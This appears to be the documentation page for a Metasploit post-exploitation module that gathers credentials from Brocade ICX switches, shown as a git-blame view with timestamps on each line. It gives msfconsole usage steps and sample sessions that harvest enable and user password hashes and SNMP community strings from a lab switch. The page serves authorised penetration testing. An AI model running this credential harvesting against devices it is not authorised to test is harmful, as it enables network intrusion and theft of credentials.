2018-07-30 14:53:53 -04:00
|
|
|
## Vulnerable Application
|
|
|
|
|
|
2020-07-14 21:01:28 -04:00
|
|
|
This module has been tested on the following hardware/OS combinations.
|
2018-07-30 14:53:53 -04:00
|
|
|
|
2020-07-14 21:01:28 -04:00
|
|
|
* Brocade ICX 6430-24
|
|
|
|
|
* Firmware: 08.0.20T311
|
2018-07-30 14:53:53 -04:00
|
|
|
|
2020-07-14 21:01:28 -04:00
|
|
|
The ICX config can be found [no passwords](https://github.com/h00die/MSF-Testing-Scripts/blob/master/brocade_icx6430_nopass.conf),
|
|
|
|
|
[hashes](https://github.com/h00die/MSF-Testing-Scripts/blob/master/brocade_icx6430_pass.conf)
|
2018-07-30 14:53:53 -04:00
|
|
|
|
2020-08-25 16:13:27 -04:00
|
|
|
This module will look for the following parameters which contain credentials:
|
2018-07-30 14:53:53 -04:00
|
|
|
|
2020-07-14 21:01:28 -04:00
|
|
|
* FastIron
|
|
|
|
|
* `show configuration`
|
2018-07-30 14:53:53 -04:00
|
|
|
|
2020-07-14 21:01:28 -04:00
|
|
|
!!! keep in mind 'password-display'
|
|
|
|
|
http://wwwaem.brocade.com/content/html/en/command-reference-guide/fastiron-08040-commandref/GUID-169889CD-1A74-4A23-AC78-38796692374F.html
|
2018-07-30 14:53:53 -04:00
|
|
|
!!! need to be able to give a password to enable
|
|
|
|
|
|
2020-07-14 21:01:28 -04:00
|
|
|
* super-user-password
|
|
|
|
|
* username
|
|
|
|
|
* SNMP
|
2018-07-30 14:53:53 -04:00
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
|
2020-07-14 21:01:28 -04:00
|
|
|
1. Start msfconsole
|
|
|
|
|
2. Get a shell
|
|
|
|
|
3. Do: ```use post/networking/gather/enum_brocade```
|
|
|
|
|
4. Do: ```set session [id]```
|
|
|
|
|
5. Do: ```set verbose true```
|
|
|
|
|
6. Do: ```run```
|
|
|
|
|
|
|
|
|
|
## Options
|
2018-07-30 14:53:53 -04:00
|
|
|
|
|
|
|
|
## Scenarios
|
|
|
|
|
|
2019-06-01 22:23:01 -04:00
|
|
|
### ICX 6430-24, FastIron 08.0.20T311
|
2018-07-30 14:53:53 -04:00
|
|
|
|
2019-06-01 22:23:01 -04:00
|
|
|
#### SSH Session with password-display off
|
2018-07-30 14:53:53 -04:00
|
|
|
|
|
|
|
|
```
|
2020-06-21 17:35:38 -04:00
|
|
|
resource (brocade.rb)> use post/networking/gather/enum_brocade
|
2019-06-01 22:23:01 -04:00
|
|
|
resource (brocade.rb)> set session 1
|
|
|
|
|
session => 1
|
|
|
|
|
resource (brocade.rb)> set verbose true
|
|
|
|
|
verbose => true
|
|
|
|
|
resource (brocade.rb)> run
|
|
|
|
|
[*] In a non-enabled cli
|
2018-07-30 14:53:53 -04:00
|
|
|
[*] Getting version information
|
2019-06-01 22:23:01 -04:00
|
|
|
[*] OS: 08.0.30hT311
|
|
|
|
|
[+] Version information stored in to loot /root/.msf4/loot/20190601203656_default_10.0.4.51_brocade.version_751557.txt
|
|
|
|
|
[*] Gathering info from show configuration
|
|
|
|
|
[!] password-display is disabled, no password hashes displayed in config
|
2018-07-30 14:53:53 -04:00
|
|
|
[*] Post module execution completed
|
|
|
|
|
```
|
|
|
|
|
|
2020-07-14 21:01:28 -04:00
|
|
|
#### SSH Session with Enable run
|
2018-07-30 14:53:53 -04:00
|
|
|
|
|
|
|
|
```
|
2020-06-21 17:35:38 -04:00
|
|
|
resource (brocade.rb)> use post/networking/gather/enum_brocade
|
2019-06-01 22:23:01 -04:00
|
|
|
resource (brocade.rb)> set session 1
|
|
|
|
|
session => 1
|
|
|
|
|
resource (brocade.rb)> set verbose true
|
2018-07-30 14:53:53 -04:00
|
|
|
verbose => true
|
2020-07-14 21:06:33 -04:00
|
|
|
resource (brocade.rb)> run
|
2019-06-01 22:23:01 -04:00
|
|
|
[*] In an enabled cli
|
2018-07-30 14:53:53 -04:00
|
|
|
[*] Getting version information
|
2019-06-01 22:23:01 -04:00
|
|
|
[*] OS: 08.0.30hT311
|
|
|
|
|
[+] Version information stored in to loot /root/.msf4/loot/20190601221921_default_10.0.4.51_brocade.version_839783.txt
|
2018-07-30 14:53:53 -04:00
|
|
|
[*] Gathering info from show configuration
|
2019-06-01 22:23:01 -04:00
|
|
|
[+] password-display is enabled, hashes will be displayed in config
|
|
|
|
|
[+] enable password hash $1$QP3H93Wm$uxYAs2HmAK0lQiP3ig5tm.
|
|
|
|
|
[+] User brocade of type 8 found with password hash $1$f/uxhovU$dST5lNskZCPQe/5QijULi0.
|
|
|
|
|
[+] ENCRYPTED SNMP community $MlVzZCFAbg== with permissions ro
|
|
|
|
|
[+] ENCRYPTED SNMP community $U2kyXj1k with permissions rw
|
2018-07-30 14:53:53 -04:00
|
|
|
[*] Post module execution completed
|
2020-06-21 17:35:38 -04:00
|
|
|
msf5 post(networking/gather/enum_brocade) > loot
|
2019-06-01 22:23:01 -04:00
|
|
|
|
|
|
|
|
Loot
|
|
|
|
|
====
|
|
|
|
|
|
|
|
|
|
host service type name content info path
|
|
|
|
|
---- ------- ---- ---- ------- ---- ----
|
|
|
|
|
10.0.4.51 brocade.version version.txt text/plain Brocade Version /root/.msf4/loot/20190601221959_default_10.0.4.51_brocade.version_003751.txt
|
|
|
|
|
10.0.4.51 brocade.config config.txt text/plain Brocade Configuration /root/.msf4/loot/20190601222004_default_10.0.4.51_brocade.config_998514.txt
|
|
|
|
|
|
2020-06-21 17:35:38 -04:00
|
|
|
msf5 post(networking/gather/enum_brocade) > creds
|
2018-07-30 14:53:53 -04:00
|
|
|
Credentials
|
|
|
|
|
===========
|
|
|
|
|
|
2019-06-01 22:23:01 -04:00
|
|
|
host origin service public private realm private_type
|
|
|
|
|
---- ------ ------- ------ ------- ----- ------------
|
|
|
|
|
10.0.4.51 10.0.4.51 22/tcp enable $1$QP3H93Wm$uxYAs2HmAK0lQiP3ig5tm. Nonreplayable hash
|
|
|
|
|
10.0.4.51 10.0.4.51 161/udp (snmp) $MlVzZCFAbg== Nonreplayable hash
|
|
|
|
|
10.0.4.51 10.0.4.51 161/udp (snmp) $U2kyXj1k Nonreplayable hash
|
|
|
|
|
10.0.4.51 10.0.4.51 22/tcp brocade $1$f/uxhovU$dST5lNskZCPQe/5QijULi0 Nonreplayable hash
|
2018-07-30 14:53:53 -04:00
|
|
|
```
|